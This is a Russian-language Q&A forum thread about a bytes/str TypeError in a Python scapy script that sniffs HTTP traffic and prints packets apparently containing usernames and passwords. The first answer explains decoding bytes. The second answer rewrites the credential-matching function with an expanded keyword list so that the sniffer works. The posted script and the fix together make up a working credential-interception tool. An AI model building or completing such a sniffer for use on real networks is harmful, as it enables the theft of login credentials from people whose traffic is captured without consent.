Ошибка TypeError: can only concatenate str (not "bytes") to str

import scapy.all as scapy
from scapy.layers import http


def sniff(interface):
    scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)


def get_url(packet):
    return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path


def get_login_info(packet):
    if packet.haslayer(scapy.Raw):
        load = packet[scapy.Raw].load
        keywords = ["username", "user", "login", "password", "pass"]
        for keyword in keywords:
            if keyword in load:
                return load


def process_sniffed_packet(packet):
    if packet.haslayer(http.HTTPRequest):
        url = get_url(packet)
        print("[+] HTTP Request >>" + url)

        login_info = get_login_info(packet)
        if login_info:
            print("\n\n[+] Possible username/password > " + login_info + "\n\n")


sniff("eth0")

Ответы (2 шт):

Автор решения: vlob

Ошибка означает, в переменной после оператора конкатинации байты.

Перекодируйте их в строчное значение:

s = 'abc'
b = 'def'.encode()
type(b) # bytes

print(s + b)
----> 1 print(s + b)

TypeError: must be str, not bytes

print(s + b.decode()) # abcdef
→ Ссылка
Автор решения: em0ji

Попробуй переписать функцию так:

def get_login_info(packet):
        if packet.haslayer(scapy.Raw):
            load = packet[scapy.Raw].load
            keywords_list = ["username", "name", "user", "usr", "email", "mail", "login", "password", "pass", "pwd", "passwd"]
            keywords = [x.encode() for x in keywords_list]
            for keyword in keywords:
                if keyword in load:
                    return load

Должно всё заработать

→ Ссылка